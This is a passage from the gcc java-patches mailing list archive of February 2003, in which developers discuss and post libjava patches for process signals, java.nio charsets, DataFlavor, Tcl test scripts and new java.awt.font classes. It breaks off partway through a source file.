java::lang::ConcreteProcess::destroy In-Reply-To: <87n0kyrfi6.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The Makefile defines NO_SIGNALS when there is no signal support for the current target. In fact, it tried to compile the file with -DNO_SIGNALS as an option, and the compile broke on the kill() (which is rather logical if you don't have signals) so I patched it up like this and it worked like a charm :) Might leave a couple of zombies around if there are no signals, though.. rlc On 14 Feb 2003, Tom Tromey wrote: > >>>>> "Ronald" == Ronald Landheer-Cieslak writes: > > Ronald> I have attached a (very, very) small patch to > Ronald> libjava/java/lang/natPosixProcess.cc which fixes a bug - > Ronald> kill() is called from java::lang::ConcreteProcess::destroy > Ronald> even when no signals are available. This will make the > Ronald> compilation fail if there are no signals. > > What defines NO_SIGNALS? And when? > > Tom > From java-patches-return-6151-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 09:22:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27499 invoked by alias); 15 Feb 2003 09:22:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27492 invoked from network); 15 Feb 2003 09:22:46 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 15 Feb 2003 09:22:46 -0000 Received: from 192.168.1.3 (dynadsl-080-228-64-030.ewetel.net [80.228.64.30]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1F9Miwt004611; Sat, 15 Feb 2003 10:22:45 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.awt Date: Sat, 15 Feb 2003 10:22:33 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302141155.26238.konqueror@gmx.de> <200302142207.09121.konqueror@gmx.de> <873cmqo7c0.fsf@fleche.redhat.com> In-Reply-To: <873cmqo7c0.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302151022.37002.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Freitag, 14. Februar 2003 22:55 schrieb Tom Tromey: > Michael> When using the following I need to catch > IllegalAccessException: Michael> return > (representationClass.newInstance() instanceof ByteBuffer); > > Sorry, I didn't read closely enough. instanceof won't work. > But how about > > java.nio.ByteBuffer.class.isAssignableFrom(representationClass) > > I think that's more idiomatic than using Class.forName. Okay, commited with this version. ;-) Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TgbcWSOgCCdjSDsRAlkqAJ0XoiXCJfMQe+LabHAERO2HW39dDQCeIlWp eNKRdaGzd5mSnOGFZ+CEsu8=3D =3DZuUr =2D----END PGP SIGNATURE----- From java-patches-return-6152-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 09:38:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29251 invoked by alias); 15 Feb 2003 09:38:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29232 invoked from network); 15 Feb 2003 09:37:57 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 15 Feb 2003 09:37:57 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-42.rdu.redhat.com [172.16.50.42]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 2B3B1ABB05; Sat, 15 Feb 2003 09:37:55 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h1F9bjm06665; Sat, 15 Feb 2003 09:37:45 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15950.2664.918602.68152@cuddles.cambridge.redhat.com> Date: Sat, 15 Feb 2003 09:37:44 +0000 (GMT) To: Ronald Landheer-Cieslak Cc: Tom Tromey , gcc-patches@gcc.gnu.org, Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: References: <87n0kyrfi6.fsf@fleche.redhat.com> Ronald Landheer-Cieslak writes: > The Makefile defines NO_SIGNALS when there is no signal support for the > current target. In fact, it tried to compile the file with -DNO_SIGNALS as > an option, and the compile broke on the kill() (which is rather logical if > you don't have signals) so I patched it up like this and it worked like a > charm :) > Might leave a couple of zombies around if there are no signals, though.. I think we're confused about what system has no signals but has processes. Wel, I certainly am. Andrew. From java-patches-return-6153-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 09:41:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30371 invoked by alias); 15 Feb 2003 09:41:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30364 invoked from network); 15 Feb 2003 09:41:57 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 15 Feb 2003 09:41:57 -0000 Received: from 192.168.1.3 (dynadsl-080-228-64-030.ewetel.net [80.228.64.30]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1F9ftGF019657 for ; Sat, 15 Feb 2003 10:41:55 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio -- important, please test on your platform Date: Sat, 15 Feb 2003 10:41:50 +0100 User-Agent: KMail/1.5 References: <200302141345.02102.konqueror@gmx.de> In-Reply-To: <200302141345.02102.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_etgT+n+6EMklcnQ" Message-Id: <200302151041.50645.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_etgT+n+6EMklcnQ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > I wrote this little patch to build the whole java.nio currently in > CVS. This patch makes java.nio's API nearly 100% ready (2 methods > in java.nio.charset are still missing). The API is now 100%, thanks to Jesse Rosenstock for this patch. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TgteWSOgCCdjSDsRAkAeAKCM5JDZVxvsNiVgJwWqWjdRda8dUgCglFZz mFoDViCxexe5PsQibLA0v0Q=3D =3DNXE/ =2D----END PGP SIGNATURE----- --Boundary-00=_etgT+n+6EMklcnQ Content-Type: text/x-diff; charset="iso-8859-15"; name="charset.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="charset.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1706 diff -u -r1.1706 ChangeLog --- ChangeLog 15 Feb 2003 09:21:53 -0000 1.1706 +++ ChangeLog 15 Feb 2003 09:39:12 -0000 @@ -1,3 +1,10 @@ +2003-02-15 Jesse Rosenstock + + * java/nio/charset/Charset.java + (isRegistered): Fixed method args and implementation. + * java/nio/charset/CharsetEncoder.java + (unmappableCharacterAction): New method. + 2003-02-15 Michael Koch * java/awt/CheckboxMenuItem.java Index: java/nio/charset/Charset.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/charset/Charset.java,v retrieving revision 1.3 diff -u -r1.3 Charset.java --- java/nio/charset/Charset.java 18 Nov 2002 14:15:16 -0000 1.3 +++ java/nio/charset/Charset.java 15 Feb 2003 09:39:12 -0000 @@ -187,9 +187,10 @@ return canonicalName; } - public final boolean isRegistered (String name) + public final boolean isRegistered () { - return !name.startsWith ("x-") && !name.startsWith ("X-"); + return (!canonicalName.startsWith ("x-") + && !canonicalName.startsWith ("X-")); } public abstract boolean contains (Charset cs); Index: java/nio/charset/CharsetEncoder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/charset/CharsetEncoder.java,v retrieving revision 1.1 diff -u -r1.1 CharsetEncoder.java --- java/nio/charset/CharsetEncoder.java 13 Nov 2002 12:21:26 -0000 1.1 +++ java/nio/charset/CharsetEncoder.java 15 Feb 2003 09:39:12 -0000 @@ -319,6 +319,11 @@ return this; } + public CodingErrorAction unmappableCharacterAction () + { + return unmappableCharacterAction; + } + public final CharsetEncoder onUnmappableCharacter (CodingErrorAction newAction) { --Boundary-00=_etgT+n+6EMklcnQ-- From java-patches-return-6154-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 10:55:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17984 invoked by alias); 15 Feb 2003 10:55:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17977 invoked from network); 15 Feb 2003 10:55:47 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 15 Feb 2003 10:55:47 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jzvW-0008EQ-00; Sat, 15 Feb 2003 11:52:10 +0100 Subject: Re: Mauve, inner classes and dejagnu magic From: Mark Wielaard To: tromey@redhat.com Cc: Ulrich Weigand , java-patches@gcc.gnu.org In-Reply-To: <87k7g2mnpi.fsf@fleche.redhat.com> References: <200302142338.AAA14569@faui11.informatik.uni-erlangen.de> <87k7g2mnpi.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1045306347.30214.441.camel@elsschot> Mime-Version: 1.0 Date: 15 Feb 2003 11:52:28 +0100 Content-Transfer-Encoding: 7bit Hi, On Sat, 2003-02-15 at 00:44, Tom Tromey wrote: > Ulrich> "string map {$ ^} $executable" > > `string map' is a relatively new addition to Tcl. > What version of Tcl are you using? > (runtest --version will tell you.) Sorry didn't know that. runtest --version: Expect version is 5.37.2 Tcl version is 8.3 Framework version is 1.4.2.x > I don't know what versions we're supposed to support. The gcc tests page only says DejaGnu 1.4.2 (or later), Tcl, and Expect. But DejaGnu doesn't list its own dependencies. > Anyway, rewriting this to use a regexp or something is pretty easy. > Mark, could you do that? If not, tell me and I'll do it. How does the following look? I am running a complete check with the above setup now. --- lib/libjava.exp 14 Feb 2003 22:17:00 -0000 1.49 +++ lib/libjava.exp 15 Feb 2003 10:47:53 -0000 @@ -788,7 +788,7 @@ foreach c_file $class_files { set executable [file rootname [file tail $c_file]].o # Don't write files which contain $ chars. - set executable [string map {$ ^} $executable] + regsub -all "\\$" $executable "\^" executable set x [libjava_prune_warnings \ [libjava_tcompile '$c_file' "$executable" $type $args]] lappend removeList $executable --- libjava.mauve/mauve.exp 14 Feb 2003 20:36:00 -0000 1.19 +++ libjava.mauve/mauve.exp 15 Feb 2003 09:53:33 -0000 @@ -49,7 +49,8 @@ # Now add all inner classes foreach inner [glob -nocomplain [file rootname $file]$*.class] { # Prevent excessive escaping by replacing $ with a ^ in the .o name - set inner [string map {$ ^} [file rootname $inner]].o + set inner [file rootname $inner].o + regsub -all "\\$" $inner "\^" inner lappend uses($item) $inner } } @@ -186,7 +187,8 @@ if {! [file exists $obj]} then { verbose "compiling $obj for test of $class" # The .class file does contain a $, but we can quote it between "'"s. - set srcfile [string map {^ $} [file rootname $obj]].class + set srcfile [file rootname $obj].class + regsub -all "\\^" $srcfile "\$" srcfile set x [libjava_prune_warnings \ [libjava_tcompile '[pwd]/$srcfile' $obj object $compile_args]] if {$x != ""} then { Cheers, Mark From java-patches-return-6155-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 13:28:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21720 invoked by alias); 15 Feb 2003 13:28:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21713 invoked from network); 15 Feb 2003 13:28:16 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 15 Feb 2003 13:28:16 -0000 Received: from 192.168.1.3 (dynadsl-080-228-80-114.ewetel.net [80.228.80.114]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1FDSEbq029850 for ; Sat, 15 Feb 2003 14:28:15 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.datatransfer.DataTransfer Date: Sat, 15 Feb 2003 14:28:09 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_pBkT+2JRZVHUUn/" Message-Id: <200302151428.09862.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_pBkT+2JRZVHUUn/ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited a merge back from classpath for=20 java.awt.datatransfer.DataTransfer. It made classpath compile with=20 jikes. I hope this was okay. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TkBpWSOgCCdjSDsRAmtSAJ95KkeJuFY+/w65CR4IBtmEcZKROwCfdwKC 1e424XLvhkCDGIZWG80mQvc=3D =3DNnBr =2D----END PGP SIGNATURE----- --Boundary-00=_pBkT+2JRZVHUUn/ Content-Type: text/x-diff; charset="iso-8859-15"; name="df.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="df.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1707 diff -u -r1.1707 ChangeLog --- ChangeLog 15 Feb 2003 09:39:51 -0000 1.1707 +++ ChangeLog 15 Feb 2003 13:26:08 -0000 @@ -1,3 +1,10 @@ +2003-02-15 Michael Koch + + * java/awt/datatransfer/DataFlavor.java + (isRepresentationClassByteBuffer): Removed try-catch block. + (isRepresentationClassCharBuffer): Removed try-catch block. + (isRepresentationClassReader): Removed try-catch block. + 2003-02-15 Jesse Rosenstock * java/nio/charset/Charset.java Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.6 diff -u -r1.6 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 15 Feb 2003 09:21:55 -0000 1.6 +++ java/awt/datatransfer/DataFlavor.java 15 Feb 2003 13:26:08 -0000 @@ -1009,14 +1009,7 @@ */ public boolean isRepresentationClassByteBuffer () { - try - { - return ByteBuffer.class.isAssignableFrom (representationClass); - } - catch (ClassNotFoundException e) - { - return false; - } + return ByteBuffer.class.isAssignableFrom (representationClass); } /** @@ -1027,14 +1020,7 @@ */ public boolean isRepresentationClassCharBuffer () { - try - { - return CharBuffer.class.isAssignableFrom (representationClass); - } - catch (ClassNotFoundException e) - { - return false; - } + return CharBuffer.class.isAssignableFrom (representationClass); } /** @@ -1045,14 +1031,7 @@ */ public boolean isRepresentationClassReader () { - try - { - return Reader.class.isAssignableFrom (representationClass); - } - catch (ClassNotFoundException e) - { - return false; - } + return Reader.class.isAssignableFrom (representationClass); } } // class DataFlavor --Boundary-00=_pBkT+2JRZVHUUn/-- From java-patches-return-6156-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 13:41:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23915 invoked by alias); 15 Feb 2003 13:41:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23908 invoked from network); 15 Feb 2003 13:41:17 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 15 Feb 2003 13:41:17 -0000 Received: from 192.168.1.3 (dynadsl-080-228-80-114.ewetel.net [80.228.80.114]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1FDfBGF001360 for ; Sat, 15 Feb 2003 14:41:11 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.font Date: Sat, 15 Feb 2003 14:41:05 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_xNkT+Wt4IDjdISq" Message-Id: <200302151441.05422.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_xNkT+Wt4IDjdISq Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here a bigger patch to add the missing pieces in java.awt.font. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TkNxWSOgCCdjSDsRAo6SAJ9wOlIJGlJn58HiiRcCzKMBFDX7FwCfeYzl XamzsLzJIOlbQhasxjqeYCM=3D =3DsIFp =2D----END PGP SIGNATURE----- --Boundary-00=_xNkT+Wt4IDjdISq Content-Type: text/x-diff; charset="iso-8859-15"; name="font.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="font.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1708 diff -u -r1.1708 ChangeLog --- ChangeLog 15 Feb 2003 13:26:26 -0000 1.1708 +++ ChangeLog 15 Feb 2003 13:36:47 -0000 @@ -1,5 +1,43 @@ 2003-02-15 Michael Koch + * java/awt/font/FontRenderContext.java, + java/awt/font/ShapeGraphicAttribute.java, + java/awt/font/MultipleMaster.java, + java/awt/font/TransformAttribute.java, + java/awt/font/GlyphJustificationInfo.java, + java/awt/font/LineBreakMeasurer.java, + java/awt/font/TextMeasurer.java, + java/awt/font/TextLayout.java, + java/awt/font/LineMetrics.java, + java/awt/font/TextAttribute.java, + java/awt/font/GlyphMetrics.java, + java/awt/font/OpenType.java, + java/awt/font/GlyphVector.java, + java/awt/font/GraphicAttribute.java, + java/awt/font/ImageGraphicAttribute.java, + java/awt/font/NumericShaper.java: New files. + * Makefile.am + (awt_java_source_files): Added the following files: + java/awt/font/FontRenderContext.java + java/awt/font/ShapeGraphicAttribute.java + java/awt/font/MultipleMaster.java + java/awt/font/TransformAttribute.java + java/awt/font/GlyphJustificationInfo.java + java/awt/font/LineBreakMeasurer.java + java/awt/font/TextMeasurer.java + java/awt/font/TextLayout.java + java/awt/font/LineMetrics.java + java/awt/font/TextAttribute.java + java/awt/font/GlyphMetrics.java + java/awt/font/OpenType.java + java/awt/font/GlyphVector.java + java/awt/font/GraphicAttribute.java + java/awt/font/ImageGraphicAttribute.java + java/awt/font/NumericShaper.java + * Makefile.in: Regenerated. + +2003-02-15 Michael Koch + * java/awt/datatransfer/DataFlavor.java (isRepresentationClassByteBuffer): Removed try-catch block. (isRepresentationClassCharBuffer): Removed try-catch block. Index: java/awt/font/FontRenderContext.java =================================================================== RCS file: java/awt/font/FontRenderContext.java diff -N java/awt/font/FontRenderContext.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/FontRenderContext.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,115 @@ +/* FontRenderContext.java + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.geom.AffineTransform; + +/** + * @author Michael Koch + */ +public class FontRenderContext +{ + private AffineTransform affineTransform; + private boolean isAntiAliased; + private boolean usesFractionalMetrics; + + /** + * Construct a new FontRenderContext. + */ + protected FontRenderContext() + { + // Do nothing here. + } + + /** + * Construct a new FontRenderContext. + */ + public FontRenderContext (AffineTransform tx, boolean isAntiAliased, + boolean usesFractionalMetrics) + { + if (tx != null + && !tx.isIdentity ()) + { + this.affineTransform = new AffineTransform (tx); + } + + this.isAntiAliased = isAntiAliased; + this.usesFractionalMetrics = usesFractionalMetrics; + } + + public boolean equals (Object obj) + { + if (! (obj instanceof FontRenderContext)) + return false; + + return equals ((FontRenderContext) obj); + } + + public boolean equals (FontRenderContext rhs) + { + return (affineTransform.equals (rhs.getTransform ()) + && isAntiAliased == rhs.isAntiAliased () + && usesFractionalMetrics == rhs.usesFractionalMetrics ()); + } + + public AffineTransform getTransform () + { + return affineTransform;; + } + + /** + * Returns the hash code of the font render context. + */ + public int hashCode () + { + // FIXME: check what SUN does here. + return (affineTransform == null ? 0 : affineTransform.hashCode ()); + } + + public boolean isAntiAliased () + { + return isAntiAliased; + } + + public boolean usesFractionalMetrics () + { + return usesFractionalMetrics; + } +} + Index: java/awt/font/GlyphJustificationInfo.java =================================================================== RCS file: java/awt/font/GlyphJustificationInfo.java diff -N java/awt/font/GlyphJustificationInfo.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/GlyphJustificationInfo.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,77 @@ +/* GlyphJustificationInfo.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +/** + * @author Michael Koch + */ +public final class GlyphJustificationInfo +{ + public static final int PRIORITY_KASHIDA = 0; + public static final int PRIORITY_WHITESPACE = 1; + public static final int PRIORITY_INTERCHAR = 2; + public static final int PRIORITY_NONE = 3; + + public final float weight; + public final int growPriority; + public final boolean growAbsorb; + public final float growLeftLimit; + public final float growRightLimit; + public final int shrinkPriority; + public final boolean shrinkAbsorb; + public final float shrinkLeftLimit; + public final float shrinkRightLimit; + + public GlyphJustificationInfo (float weight, boolean growAbsorb, + int growPriority, float growLeftLimit, + float growRightLimit, boolean shrinkAbsorb, + int shrinkPriority, float shrinkLeftLimit, + float shrinkRightLimit) + { + this.weight = weight; + this.growAbsorb = growAbsorb; + this.growPriority = growPriority; + this.growLeftLimit = growLeftLimit; + this.growRightLimit = growRightLimit; + this.shrinkAbsorb = shrinkAbsorb; + this.shrinkPriority = shrinkPriority; + this.shrinkLeftLimit = shrinkLeftLimit; + this.shrinkRightLimit = shrinkRightLimit; + } +} Index: java/awt/font/GlyphMetrics.java =================================================================== RCS file: java/awt/font/GlyphMetrics.java diff -N java/awt/font/GlyphMetrics.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/GlyphMetrics.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,134 @@ +/* GlyphMetrics.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.geom.Rectangle2D; + +/** + * @author Michael Koch + */ +public final class GlyphMetrics +{ + public static final byte COMBINING = 2; + public static final byte COMPONENT = 3; + public static final byte LIGATURE = 1; + public static final byte STANDARD = 0; + public static final byte WHITESPACE = 4; + + private boolean horizontal; + private float advanceX; + private float advanceY; + private Rectangle2D bounds; + private byte glyphType; + + public GlyphMetrics (boolean horizontal, float advanceX, float advanceY, + Rectangle2D bounds, byte glyphType) + { + this.horizontal = horizontal; + this.advanceX = advanceX; + this.advanceY = advanceY; + this.bounds = bounds; + this.glyphType = glyphType; + } + + public GlyphMetrics (float advance, Rectangle2D bounds, byte glyphType) + { + this (true, advance, advance, bounds, glyphType); + } + + public float getAdvance () + { + return (horizontal ? advanceX : advanceY); + } + + public float getAdvanceX () + { + return advanceX; + } + + public float getAdvanceY () + { + return advanceY; + } + + public Rectangle2D getBounds2D () + { + return bounds; + } + + public float getLSB () + { + throw new Error ("not implemented"); + } + + public float getRSB () + { + throw new Error ("not implemented"); + } + + public int getType () + { + return glyphType; + } + + public boolean isCombining () + { + return (glyphType == COMBINING); + } + + public boolean isComponent () + { + return (glyphType == COMPONENT); + } + + public boolean isLigature() + { + return (glyphType == LIGATURE); + } + + public boolean isStandard() + { + return (glyphType == STANDARD); + } + + public boolean isWhitespace() + { + return (glyphType == WHITESPACE); + } +} Index: java/awt/font/GlyphVector.java =================================================================== RCS file: java/awt/font/GlyphVector.java diff -N java/awt/font/GlyphVector.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/GlyphVector.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,145 @@ +/* GlyphVector.java + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Font; +import java.awt.Rectangle; +import java.awt.Shape; +import java.awt.geom.AffineTransform; +import java.awt.geom.Point2D; +import java.awt.geom.Rectangle2D; + +/** + * @author Michael Koch + */ +public abstract class GlyphVector implements Cloneable +{ + public static final int FLAG_COMPLEX_GLYPHS = 8; + public static final int 